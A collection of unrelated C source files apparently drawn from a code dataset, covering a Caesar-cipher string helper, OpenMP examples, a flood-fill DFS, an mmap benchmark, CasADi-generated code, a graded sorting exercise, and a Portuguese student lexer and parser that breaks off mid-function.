* @param size the given number of fragments to decode
*/
char *decode(char **strings, int size) {
char *joined = join((const char **) strings, size, "");
int shift = extractShift(joined);
caesars(joined + PREFIX_LENGTH, shift);
size_t oldLength = strlen(joined);
memmove(joined, joined + PREFIX_LENGTH, oldLength - PREFIX_LENGTH);
joined[oldLength - PREFIX_LENGTH] = '\0';
return joined;
}
int extractShift(const char *joined) {
char prefix[PREFIX_LENGTH];
strncpy(prefix, joined, PREFIX_LENGTH);
return -1 * (prefix[1] - prefix[0]) % ALPHABET_SIZE;
}
char *prepareCiphertext(const char *string) {
char *ciphertext = malloc(sizeof(char) * (strlen(string) + PREFIX_LENGTH));
ciphertext[0] = (char) tolower(string[0]);
ciphertext[1] = (char) tolower(string[0]);
strcpy(ciphertext + PREFIX_LENGTH, string);
return ciphertext;
}
/**
* encrypt/decrypt specified string in place
*/
void caesars(char *cleartext, const int shift) {
size_t length = strlen(cleartext);
for (unsigned int index = 0; index < length; index++) {
char c = cleartext[index];
int offset;
if (c >= 'A' && c <= 'Z') {
offset = 'A';
} else if (c >= 'a' && c <= 'z') {
offset = 'a';
} else {
continue;
}
cleartext[index] = (char) (((c - offset + shift + ALPHABET_SIZE) % ALPHABET_SIZE) + offset);
}
}
char **chunksOf(const char *string, int *lg) {
size_t inputLength = strlen(string);
unsigned int chunkSize = ceil((double) inputLength / (double) AMOUNT_OF_CHUNKS);
char **chunksArray = malloc(sizeof(char *) * AMOUNT_OF_CHUNKS);
for (unsigned int index = 0; index < AMOUNT_OF_CHUNKS; index++) {
chunksArray[index] = malloc(sizeof(char) * (chunkSize + 1));
strncpy(chunksArray[index], string + index * chunkSize, chunkSize);
chunksArray[index][chunkSize] = '\0';
}
*lg = (int) ceil((double) inputLength / (double) chunkSize);
return chunksArray;
}
/**
* Extend the allocated memory for the specified string
* @param source the source string
* @param extensionSize the size your string will be extended with
* @return the same string but within an extended buffer size
*/
static char *extendStringBuffer(const char *source, size_t extensionSize) {
size_t oldSize = strlen(source);
void *destination = malloc(oldSize + extensionSize);
strcpy(destination, source);
return destination;
}
/**
* Join strings to a single string by using the specified delimiter
* @param strings the strings to be joined
* @param count the strings count
* @param delimiter the used delimiter
* @return a strings joined to a single string
*/
static char *join(const char **strings, const size_t count, const char *delimiter) {
const size_t supposedWordLength = 5;
size_t delimiterLength = strlen(delimiter);
size_t supposedSize = sizeof(char) * count * supposedWordLength + (count - 1) * delimiterLength;
char *joinedWords = malloc(supposedSize);
size_t actualSize = 0;
for (size_t index = 0; index < count; index++) {
const char *word = strings[index];
size_t wordLength = strlen(word);
bool isLast = index >= count - 1;
size_t neededSize;
if (isLast) {
neededSize = actualSize + wordLength + 1;
} else {
neededSize = actualSize + wordLength + delimiterLength;
}
if (neededSize < supposedSize) {
char *extended = extendStringBuffer(joinedWords, supposedSize);
supposedSize = supposedSize * 2;
free(joinedWords);
joinedWords = extended;
}
strcpy(joinedWords + actualSize, word);
actualSize = actualSize + wordLength;
if (isLast) {
joinedWords[actualSize] = '\0';
} else {
strcpy(joinedWords + actualSize, delimiter);
actualSize = actualSize + delimiterLength;
}
}
return joinedWords;
}
|
the_stack_data/92327158.c
|
// OpenMP LastPrivate Example
// Inclusions
#include <omp.h>
#include <stdio.h>
#include <stdlib.h>
// Main
int main( int argc, char** argv ) {
int thread = 0; // Thread Number
int num = 3; // Number
int i = 0; // Loop Iterator
printf( "Master Thread\n Num Value = %d\n", num );
printf( "Parallel Region\n" );
#pragma omp parallel private( thread )
{
#pragma omp master
{
printf( " Num Value = %d\n", num );
}
#pragma omp for lastprivate( num )
for( i = 0; i < 4; i++ ) {
thread = omp_get_thread_num( );
num = thread * thread + num;
printf( " Thread %d - Value %d\n", thread, num );
}
}
printf( "Master Thread\n Num Value = %d\n", num );
return 0;
}
// End lastprivate.c - EWG SDG
|
the_stack_data/50137929.c
|
#include <stdio.h>
#include <stdbool.h>
#define MAX 100
#define FILL '#'
int n; // Numero de nos do grafo
int rows; //Numero de linhas
int cols; //Numero de colunas
char adj[MAX][MAX]; // Matriz de adjacencias
bool visited[MAX][MAX]; // Que nos ja foram visitados?
int dfs(int r, int c) {
//printf("dfs(%d,%d)\n",r,c);
if(r < 0 || r >= rows || c < 0 || c >= cols) return 0;
if(visited[r][c] || adj[r][c] != FILL) return 0;
if(adj[r][c] == FILL) {
visited[r][c] = true;
return 1 + dfs(r+1,c-1) + dfs(r+1,c) + dfs(r+1,c+1) + dfs(r,c-1) + dfs(r,c+1) + dfs(r-1,c-1) + dfs(r-1,c) + dfs(r-1,c+1);
}
return 0;
}
int main(int argc, char const *argv[]) {
int n;
scanf("%d",&n);
for(int i = 0; i < n;i++) {
int count = 0, max = 0;
scanf("%d %d",&rows,&cols);
for(int i = 0; i < rows; i++){
scanf("%s",adj[i]);
}
/*for(int i = 0; i < rows; i++){
for(int j = 0; j < cols; j++)
printf("%c",adj[i][j]);
putchar('\n');
}*/
for(int j = 0; j < rows; j++) {
for(int k = 0; k < cols; k++) {
if(adj[j][k] == FILL && !visited[j][k]) {
count = dfs(j,k);
if(count > max) {
max = count;
}
}
}
}
printf("%d\n",max);
for(int j = 0; j < rows; j++) {
for(int k = 0; k < cols; k++)
visited[j][k] = false;
}
}
return 0;
}
|
the_stack_data/563416.c
|
#include <stdio.h>
int main() {
int var_i = 0, var_j = 1;
#pragma omp parallel
{
#pragma omp task shared(var_i) firstprivate(var_j)
{
printf("hello tasks %d, %d\n", var_i, var_j);
}
}
return 0;
}
|
the_stack_data/1234402.c
|
#include <stddef.h>
#include <string.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/mman.h>
#ifndef MAP_ANONYMOUS
# define MAP_ANONYMOUS MAP_ANON
#endif
const size_t CHUNK_SIZE = 1024 * 1024;
static void
FillChunk(unsigned char *p)
{
#if 0
size_t i;
for (i = 0; i != CHUNK_SIZE; i += 4096) {
if (*p)
abort();
p[i] = (unsigned char) i;
}
#endif
}
int main(int argc, char *argv[])
{
const size_t BLOCK_SIZE = 64 * 1024 * 1024;
const size_t TOTAL_SIZE = 256 * 1024 * 1024;
const size_t CHUNKS_PER_BLOCK = BLOCK_SIZE / CHUNK_SIZE;
const size_t repeatCount = 50;
size_t k, i;
if (argc != 2)
abort();
bool use_block = !strcmp(argv[1], "block");
if (!use_block) {
unsigned char *chunks[TOTAL_SIZE / CHUNK_SIZE];
if (strcmp(argv[1], "noblock"))
abort();
for (k = 0; k != repeatCount; ++k) {
for (i = 0; i != TOTAL_SIZE/CHUNK_SIZE; ++i) {
void *p = mmap(NULL, CHUNK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
chunks[i] = p;
FillChunk(p);
}
for (i = 0; i != TOTAL_SIZE/CHUNK_SIZE; ++i) {
munmap(chunks[i], CHUNK_SIZE);
}
}
} else {
unsigned char *blocks[TOTAL_SIZE / BLOCK_SIZE];
for (i = 0; i != TOTAL_SIZE/BLOCK_SIZE; ++i) {
blocks[i] = mmap(NULL, BLOCK_SIZE, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
for (k = 0; k != repeatCount; ++k) {
for (i = 0; i != TOTAL_SIZE/CHUNK_SIZE; ++i) {
unsigned char *chunkAddress = blocks[i / CHUNKS_PER_BLOCK] +
(i % CHUNKS_PER_BLOCK) * CHUNK_SIZE;
void *p = mmap(chunkAddress, CHUNK_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
FillChunk(p);
}
for (i = 0; i != TOTAL_SIZE/CHUNK_SIZE; ++i) {
unsigned char *chunkAddress = blocks[i / CHUNKS_PER_BLOCK] +
(i % CHUNKS_PER_BLOCK) * CHUNK_SIZE;
mmap(chunkAddress, CHUNK_SIZE, PROT_NONE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
}
#if 0
for (i = 0; i != TOTAL_SIZE/BLOCK_SIZE; ++i) {
munmap(blocks[i], BLOCK_SIZE);
}
#endif
}
return 0;
}
|
the_stack_data/939193.c
|
/* This file was automatically generated by CasADi.
The CasADi copyright holders make no ownership claim of its contents. */
#ifdef __cplusplus
extern "C" {
#endif
/* How to prefix internal symbols */
#ifdef CASADI_CODEGEN_PREFIX
#define CASADI_NAMESPACE_CONCAT(NS, ID) _CASADI_NAMESPACE_CONCAT(NS, ID)
#define _CASADI_NAMESPACE_CONCAT(NS, ID) NS ## ID
#define CASADI_PREFIX(ID) CASADI_NAMESPACE_CONCAT(CODEGEN_PREFIX, ID)
#else
#define CASADI_PREFIX(ID) long_expl_vde_forw_ ## ID
#endif
#include <math.h>
#ifndef casadi_real
#define casadi_real double
#endif
#ifndef casadi_int
#define casadi_int int
#endif
/* Add prefix to internal symbols */
#define casadi_f0 CASADI_PREFIX(f0)
#define casadi_s0 CASADI_PREFIX(s0)
#define casadi_s1 CASADI_PREFIX(s1)
#define casadi_s2 CASADI_PREFIX(s2)
#define casadi_s3 CASADI_PREFIX(s3)
/* Symbol visibility in DLLs */
#ifndef CASADI_SYMBOL_EXPORT
#if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
#if defined(STATIC_LINKED)
#define CASADI_SYMBOL_EXPORT
#else
#define CASADI_SYMBOL_EXPORT __declspec(dllexport)
#endif
#elif defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
#define CASADI_SYMBOL_EXPORT __attribute__ ((visibility ("default")))
#else
#define CASADI_SYMBOL_EXPORT
#endif
#endif
static const casadi_int casadi_s0[7] = {3, 1, 0, 3, 0, 1, 2};
static const casadi_int casadi_s1[15] = {3, 3, 0, 3, 6, 9, 0, 1, 2, 0, 1, 2, 0, 1, 2};
static const casadi_int casadi_s2[5] = {1, 1, 0, 1, 0};
static const casadi_int casadi_s3[9] = {5, 1, 0, 5, 0, 1, 2, 3, 4};
/* long_expl_vde_forw:(i0[3],i1[3x3],i2[3],i3,i4[5])->(o0[3],o1[3x3],o2[3]) */
static int casadi_f0(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, int mem) {
casadi_real a0, a1;
a0=arg[0]? arg[0][1] : 0;
if (res[0]!=0) res[0][0]=a0;
a0=arg[0]? arg[0][2] : 0;
if (res[0]!=0) res[0][1]=a0;
a0=arg[3]? arg[3][0] : 0;
if (res[0]!=0) res[0][2]=a0;
a0=arg[1]? arg[1][1] : 0;
if (res[1]!=0) res[1][0]=a0;
a0=arg[1]? arg[1][2] : 0;
if (res[1]!=0) res[1][1]=a0;
a0=0.;
if (res[1]!=0) res[1][2]=a0;
a1=arg[1]? arg[1][4] : 0;
if (res[1]!=0) res[1][3]=a1;
a1=arg[1]? arg[1][5] : 0;
if (res[1]!=0) res[1][4]=a1;
if (res[1]!=0) res[1][5]=a0;
a1=arg[1]? arg[1][7] : 0;
if (res[1]!=0) res[1][6]=a1;
a1=arg[1]? arg[1][8] : 0;
if (res[1]!=0) res[1][7]=a1;
if (res[1]!=0) res[1][8]=a0;
a0=arg[2]? arg[2][1] : 0;
if (res[2]!=0) res[2][0]=a0;
a0=arg[2]? arg[2][2] : 0;
if (res[2]!=0) res[2][1]=a0;
a0=1.;
if (res[2]!=0) res[2][2]=a0;
return 0;
}
CASADI_SYMBOL_EXPORT int long_expl_vde_forw(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, int mem){
return casadi_f0(arg, res, iw, w, mem);
}
CASADI_SYMBOL_EXPORT int long_expl_vde_forw_alloc_mem(void) {
return 0;
}
CASADI_SYMBOL_EXPORT int long_expl_vde_forw_init_mem(int mem) {
return 0;
}
CASADI_SYMBOL_EXPORT void long_expl_vde_forw_free_mem(int mem) {
}
CASADI_SYMBOL_EXPORT int long_expl_vde_forw_checkout(void) {
return 0;
}
CASADI_SYMBOL_EXPORT void long_expl_vde_forw_release(int mem) {
}
CASADI_SYMBOL_EXPORT void long_expl_vde_forw_incref(void) {
}
CASADI_SYMBOL_EXPORT void long_expl_vde_forw_decref(void) {
}
CASADI_SYMBOL_EXPORT casadi_int long_expl_vde_forw_n_in(void) { return 5;}
CASADI_SYMBOL_EXPORT casadi_int long_expl_vde_forw_n_out(void) { return 3;}
CASADI_SYMBOL_EXPORT casadi_real long_expl_vde_forw_default_in(casadi_int i){
switch (i) {
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const char* long_expl_vde_forw_name_in(casadi_int i){
switch (i) {
case 0: return "i0";
case 1: return "i1";
case 2: return "i2";
case 3: return "i3";
case 4: return "i4";
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const char* long_expl_vde_forw_name_out(casadi_int i){
switch (i) {
case 0: return "o0";
case 1: return "o1";
case 2: return "o2";
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const casadi_int* long_expl_vde_forw_sparsity_in(casadi_int i) {
switch (i) {
case 0: return casadi_s0;
case 1: return casadi_s1;
case 2: return casadi_s0;
case 3: return casadi_s2;
case 4: return casadi_s3;
default: return 0;
}
}
CASADI_SYMBOL_EXPORT const casadi_int* long_expl_vde_forw_sparsity_out(casadi_int i) {
switch (i) {
case 0: return casadi_s0;
case 1: return casadi_s1;
case 2: return casadi_s0;
default: return 0;
}
}
CASADI_SYMBOL_EXPORT int long_expl_vde_forw_work(casadi_int *sz_arg, casadi_int* sz_res, casadi_int *sz_iw, casadi_int *sz_w) {
if (sz_arg) *sz_arg = 5;
if (sz_res) *sz_res = 3;
if (sz_iw) *sz_iw = 0;
if (sz_w) *sz_w = 0;
return 0;
}
#ifdef __cplusplus
} /* extern "C" */
#endif
|
the_stack_data/90762424.c
|
/*numPass=6, numTotal=6
Verdict:ACCEPTED, Visibility:1, Input:"4
1 100 99 100
2 100 98 98
3 1 1 1
4 91 12 12", ExpOutput:"1
2
4
3
", Output:"1
2
4
3
"
Verdict:ACCEPTED, Visibility:1, Input:"3
13745 30 59 50
12845 31 23 50
12424 31 23 40
", ExpOutput:"12845
13745
12424
", Output:"12845
13745
12424
"
Verdict:ACCEPTED, Visibility:1, Input:"4
1 50 20 30
4 30 40 10
2 40 40 10
3 35 29 40", ExpOutput:"3
1
2
4
", Output:"3
1
2
4
"
Verdict:ACCEPTED, Visibility:0, Input:"2
1 50 50 50
2 50 30 50", ExpOutput:"1
2
", Output:"1
2
"
Verdict:ACCEPTED, Visibility:0, Input:"4
1 50 50 50
2 50 30 50
3 20 50 56
4 58 29 50", ExpOutput:"3
4
1
2
", Output:"3
4
1
2
"
Verdict:ACCEPTED, Visibility:0, Input:"5
1 50 50 30
2 20 30 50
3 80 50 66
4 10 29 10
5 10 10 10", ExpOutput:"3
2
1
4
5
", Output:"3
2
1
4
5
"
*/
#include <stdio.h>
#include <stdlib.h>
typedef struct std
{
int rn,m,p,c;
}std;
void scanit(std* s)
{
scanf("%d %d %d %d",&(s->rn),&(s->p),&(s->c),&(s->m));
}
void swap(std *a,std *b)
{
std c=*a;
*a=*b;
*b=c;
}
int main() {
int n;
scanf("%d",&n);
std* s=(std*)calloc(n,sizeof(std));
for(int i=0;i<n;i++) scanit(s+i);
for(int i=0;i<n;i++)
{
int max=(s+i)->m;int indx=i;
for(int j=i+1;j<n;j++)
{
if(((s+j)->m)>max)
{
indx=j;
max=(s+j)->m;
}
else if(((s+j)->m)==max)
{
if(((s+j)->p)>((s+indx)->p)) indx=j;
else if(((s+j)->p)==((s+indx)->p))
{
if(((s+j)->c)>((s+indx)->p)) indx=j;
}
}
}
swap(s+i,s+indx);
}
for(int k=0;k<n;k++) printf("%d\n",(s+k)->rn);
return 0;
}
|
the_stack_data/187641866.c
|
#include<stdio.h>
#include<stdlib.h>
#include<omp.h>
int fib(int n);
int main(int argc,char *argv[])
{
int n=atoi(argv[1]);
#pragma omp parallel
{
#pragma omp single
printf("fib(%d)=%d\n",n,fib(n));
}
}
int fib(int n)
{
int x,y;
if(n<2)return n;
#pragma omp task shared(x)
x = fib(n-1);
#pragma omp task shared(y)
y = fib(n-2);
#pragma omp taskwait
return (x+y);
}
|
the_stack_data/190768835.c
|
/*
DISCIPLINA: Compiladores
Aluno: WELLITON LEAL
PŔOJETO:
Analisador Léxico & Analisador Sintático
ESTRUTURAS DE DADOS UTILIZADA:
Lista Para Tokens - Lista Duplamente Encadeada Alocada Dinamicamente
Pilha Para Operações - Pilha Alocada Dinamicamete
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
typedef struct celula{
char *token;
char *palavra;
int linha;
int erro;
struct celula *prox;
struct celula *ant;
}celula;
typedef struct celula2{
char *palavra;
struct celula2*prox;
}celula2;
typedef struct listaDENC{
celula *inicio;
celula *fim;
int cont;
}listaDENC;
typedef struct pilha{
celula2*inicio;
int cont;
}pilha;
listaDENC *inicializalista()
{
listaDENC* l = (listaDENC*) malloc(sizeof(listaDENC));
l->inicio = NULL;
l->fim = NULL;
l->cont = 0;
return l;
}
pilha *inicializapilha()
{
pilha* p = (pilha*) malloc(sizeof(pilha));
p->inicio = NULL;
p->cont = 0;
return p;
}
celula *cria(char *entrada, char *palavra, int linha, int erro)
{
celula *no = (celula*)malloc(sizeof(celula));
no->token = entrada;
no->palavra = palavra;
no->linha = linha;
no->erro = erro;
no->prox = NULL;
no->ant = NULL;
return no;
}
celula2 *cria2(char *conteudo)
{
celula2 *no = (celula2*)malloc(sizeof(celula2));
no->palavra = conteudo;
no->prox = NULL;
return no;
}
int lista_vazia(listaDENC *l)
{
if(l == NULL)
{
return 1;
}
if(l->inicio == NULL)
{
return 1;
}
return 0;
}
int pilha_vazia(pilha *p)
{
if(p == NULL || p->inicio == NULL)
{
printf("\n *** Pilha Vazia ***\n");
return 1;
}
return 0;
}
int empilha(pilha *p, char *conteudo)
{
if(p == NULL)
{
return 0;
}
celula2 *novo = cria2(conteudo);
if(novo == NULL)
{
return 0;
}
novo->prox = p->inicio;
p->inicio = novo;
p->cont++;
return 1;
}
int desempilha(pilha *p)
{
if(p == NULL || p->inicio == NULL)
{
printf("Nao ha elementos na pilha\n");
return 0;
}
int ret = *p->inicio->palavra;
celula2 *rmv = p->inicio;
p->inicio = p->inicio->prox;
p->cont--;
free(rmv);
return(ret);
}
int insere_inicio(listaDENC *l, char *entrada, char *palavra, int linha, int erro)
{
if(l == NULL)
{
return 0;
}
celula *novo = cria(entrada, palavra, linha, erro);
if(novo == NULL)
{
return 0;
}
novo->prox = l->inicio;
novo->ant = NULL;
l->inicio = novo;
if(novo->prox != NULL)
{
novo->prox->ant = novo;
}
l->cont++;
return 1;
}
int insere_fim(listaDENC *l, char *entrada, char *palavra, int linha, int erro)
{
if(l->inicio == NULL)
{
return(insere_inicio(l, entrada, palavra, linha, erro));
}
celula *novo = cria(entrada, palavra, linha, erro);
if(novo==NULL)
{
return (0);
}
celula *ultimo = l->inicio;
while(ultimo->prox !=NULL)
{
ultimo = ultimo->prox;
}
ultimo->prox=novo;
l->cont++;
return 1;
}
int remove_inicio(listaDENC *l)
{
if(l == NULL || l->inicio == NULL)
{
return 0;
}
celula *novo = l->inicio;
l->inicio = novo->prox;
if(novo->prox != NULL)
{
novo->prox->ant = NULL;
}
free(novo);
l->cont--;
return 1;
}
int remove_fim (listaDENC *l)
{
if(l == NULL || l->inicio == NULL)
{
return 0;
}
celula *ultimo = l->inicio;
while(ultimo->prox != NULL)
{
ultimo = ultimo->prox;
}
if(ultimo->ant == NULL)
{
printf("\n1\n");
l->inicio = ultimo->prox;
}
else
{
printf("\n3\n");
ultimo->ant->prox = NULL;
}
printf("\n4\n");
free(ultimo);
l->cont--;
return 1;
}
void imprimelista (listaDENC *l)
{
celula *p;
printf("\n----------------------[ TOKENS: ]-------------------------\n\n");
for(p = l->inicio;p != NULL;p = p->prox)
{
printf(" < %s, %d >", p->token, p->linha);
if(p->erro == 1)
{
printf(" ***Erro do Tipo 1 - Numero Inválido - na linha: %d",p->linha);
}
else if(p->erro == 2)
{
printf(" ***Erro do Tipo 2 - Identificador Invalido - na linha: %d",p->linha);
}
printf("\n");
}
printf("\n");
}
void imprime_pilha (pilha *p)
{
celula2 *novo;
printf("\n----------------------[ PILHA: ]-------------------------\n\n");
for(novo = p->inicio; novo != NULL;novo = novo->prox)
{
printf("%s\n", novo->palavra);
}
}
celula2 *busca_topo (pilha *p)
{
celula2 *novo = p->inicio;
printf("\n => Topo: %s\n\n",novo->palavra);
return (novo);
}
void apaga_pilha (pilha *p)
{
int i=0;
celula2 *ant = p->inicio;
celula2 *atual = p->inicio;
while (atual != NULL)
{
ant = atual;
atual = atual->prox;
free(ant);
}
p->inicio = NULL;
p->cont = 0;
}
void apaga_lista (listaDENC *l)
{
int i=0;
celula *ant = l->inicio;
celula *atual = l->inicio;
while (atual != NULL)
{
ant = atual;
atual = atual->prox;
free(ant);
}
l->inicio = NULL;
l->fim = NULL;
l->cont = 0;
}
int analisador_lexico (listaDENC *l)
{
char *entrada;
int linha = 1;
int i=0,j=0;
int FLAG1=0,FLAG2=0;
int erro;
FILE *file;
file = fopen("input2.txt", "r");
if(file == NULL)
{
printf("\nERRO: Nao foi possivel abrir o arquivo de entrada.\n");
exit(0);
}
else
{
printf("\n---------------------[ ENTRADA: ]------------------------\n\n");
//while(fgets (entrada,100, file) != NULL)
while(fscanf(file, "%ms",&entrada) != EOF)
{
printf(" %s", entrada);
if(strcmp(entrada, "inicio") == 0 || strcmp(entrada, ";") == 0 || strcmp(entrada, "fim") == 0 || strcmp(entrada, "*/") == 0)
{
printf("\n");
}
//TRATANDO COMENTARIOS COM UMA FLAG DE CONTROLE
if (!strcmp(entrada, "/*"))
{
FLAG2 = 1;
}
else if(FLAG2 == 0)
{
//TRATANDO TERMINAIS
if (!strcmp(entrada, "inicio"))
{
insere_fim(l,"INICIO", entrada, linha, 0);
linha++;
}
else if (!strcmp(entrada, "fim"))
{
insere_fim(l,"FIM", entrada, linha, 0);
linha++;
}
else if (!strcmp(entrada, "int"))
{
insere_fim(l,"INT", entrada, linha, 0);
}
else if (!strcmp(entrada, "leia"))
{
insere_fim(l,"LEIA", entrada, linha, 0);
}
else if (!strcmp(entrada, "escreva"))
{
insere_fim(l,"ESCREVA", entrada, linha, 0);
}
else if (!strcmp(entrada, ":"))
{
insere_fim(l,"DOIS_PNT", entrada, linha, 0);
}
else if (!strcmp(entrada, ":="))
{
insere_fim(l,"ATRIB", entrada, linha, 0);
}
else if (!strcmp(entrada, ","))
{
insere_fim(l,"VIRG", entrada, linha, 0);
}
else if (!strcmp(entrada, ";"))
{
insere_fim(l,"PNT_VIRG", entrada, linha, 0);
linha++;
}
else if (!strcmp(entrada, "("))
{
insere_fim(l,"ABRE_P", entrada, linha, 0);
}
else if (!strcmp(entrada, ")"))
{
insere_fim(l,"FECHA_P", entrada, linha, 0);
}
else if (!strcmp(entrada, "+"))
{
insere_fim(l,"ADICAO", entrada, linha, 0);
}
else if (!strcmp(entrada, "-"))
{
insere_fim(l,"SUBTRACAO", entrada, linha, 0);
}
else if (!strcmp(entrada, "*"))
{
insere_fim(l,"MULTIPLICACAO", entrada, linha, 0);
}
//TRATANDO NÚMEROS
else if (entrada[0] >= '0' && entrada[0] <= '9')
{
i = FLAG1 = 0;
while(i < strlen(entrada))
{
if (entrada[i] < '0' || entrada[i] > '9')
{
FLAG1 = 1;
}
i++;
}
if (FLAG1 == 1)
{
insere_fim(l, "NUMERO", entrada, linha, 1);
}
else if (FLAG1 == 0)
{
insere_fim(l, "NUMERO", entrada, linha, 0);
}
}
//TRATANDO IDENTIFICADORES
else if (entrada[0] >= 'a' && entrada[0] <= 'z' || entrada[0] >= 'A' && entrada[0] <= 'Z')
{
i = FLAG1 = 0;
while(i < strlen(entrada))
{
if (!(entrada[i] >= '0' && entrada[i] <= '9' || entrada[i] >= 'a' && entrada[i] <= 'z' || entrada[i] >= 'A' && entrada[i] <= 'Z'))
{
FLAG1 = 1;
}
i++;
}
if(FLAG1 == 1)
{
insere_fim(l, "ID", entrada, linha, 2);
}
else if(FLAG1 == 0)
{
insere_fim(l, "ID", entrada, linha, 0);
}
}
}
else if (!strcmp(entrada, "*/"))
{
FLAG2 = 0;
}
}
}
printf("\n");
fclose(file);
return(0);
}
void analisador_sintatico (listaDENC *Tokens, pilha *Pilha)
{
if(Tokens->cont > 0)
{
insere_fim(Tokens, "CIFRAO", "$",0, 0);
empilha(Pilha, "$");
empilha(Pilha, "PROGRAMA");
celula *T;
printf("\n---------------------[ OPERACOES: ]----------------------\n\n");
for(T = Tokens->inicio; T != NULL; T = T->prox)
{
printf("\n ################# LOOP ##################\n");
printf("\n XXX PILHA = %s - TOKEN = %s XXX\n",Pilha->inicio->palavra, T->token);
//TRATANDO A PRODUÇÃO PROGRAMA - OK
if(strcmp(Pilha->inicio->palavra, "(") == 0 && strcmp(T->token,"ABRE_P") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(T->token,"FECHA_P") == 0 && ((strcmp(T->prox->token,"MULTIPLICACAO") == 0 || strcmp(T->prox->token,"ADICAO") == 0) || strcmp(T->prox->token,"SUBTRACAO") == 0))
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
empilha(Pilha,"EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha,"OP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(Pilha->inicio->palavra, ")") == 0 && strcmp(T->token,"FECHA_P") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "id") == 0 && strcmp(T->token,"ID") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, "PROGRAMA") == 0 && strcmp(T->token,"INICIO") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
empilha(Pilha, "fim");
empilha(Pilha, ";");
empilha(Pilha, "COMANDOS");
empilha(Pilha, ";");
empilha(Pilha, "DECL_SEQUENCIA");
empilha(Pilha, "inicio");
if(strcmp(Pilha->inicio->palavra, "inicio") == 0 && strcmp(T->token, "INICIO") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
}
//TRATANDO A PRODUÇÃO DECL_SEQUENCIA - OK
if(strcmp(Pilha->inicio->palavra, "DECL_SEQUENCIA") == 0 && strcmp(T->token, "INT") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
empilha(Pilha, "DECL");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, ":");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "int");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
if(strcmp(Pilha->inicio->palavra, "int") == 0 && strcmp(T->token,"INT") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, ":") == 0 && strcmp(T->token,"DOIS_PNT") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
}
//TRATANDO PRODUÇÃO DECL - OK
if(strcmp(Pilha->inicio->palavra, "DECL") == 0 && strcmp(T->token,"ID") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
if(strcmp(T->prox->token,"VIRG") == 0)
{
empilha(Pilha, "DECL");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, ",");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "id");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(T->prox->token,"PNT_VIRG") == 0)
{
empilha(Pilha, "id");
//printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
}
if(strcmp(Pilha->inicio->palavra, "id") == 0 && strcmp(T->token,"ID") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
if(strcmp(Pilha->inicio->palavra, ",") == 0 && strcmp(T->token,"VIRG") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
//T = T->prox;*****
}
if(strcmp(Pilha->inicio->palavra, ";") == 0 && strcmp(T->token,"PNT_VIRG") == 0)
{
//printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
T = T->prox;
}
}
//TRATANDO A PRODUÇAO COMANDOS
if(strcmp(Pilha->inicio->palavra, "COMANDOS") == 0)
{
printf("\n - Desempilhou %s\n",Pilha->inicio->palavra);
desempilha(Pilha);
if(strcmp(T->token, "ID") == 0 || strcmp(T->token, "LEIA") == 0 || strcmp(T->token, "ESCREVA") == 0)
{
empilha(Pilha, "COMANDO");
printf("\n + Empilhou o %s %s\n",Pilha->inicio->palavra, T->token);
/*empilha(Pilha, ";");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "COMANDOS");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);*/
}
}
//TRATANDO A PRODUÇÃO COMANDO
if(strcmp(Pilha->inicio->palavra, "COMANDO") == 0)
{
printf("\n - Desempilhou o %s- %s\n",Pilha->inicio->palavra, T->token);
desempilha(Pilha);
if(strcmp(T->token,"ID") == 0)
{
empilha(Pilha, "EXP");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, ":=");
printf("\n + Empilhou %s\n",Pilha->inicio->palavra);
empilha(Pilha, "id");
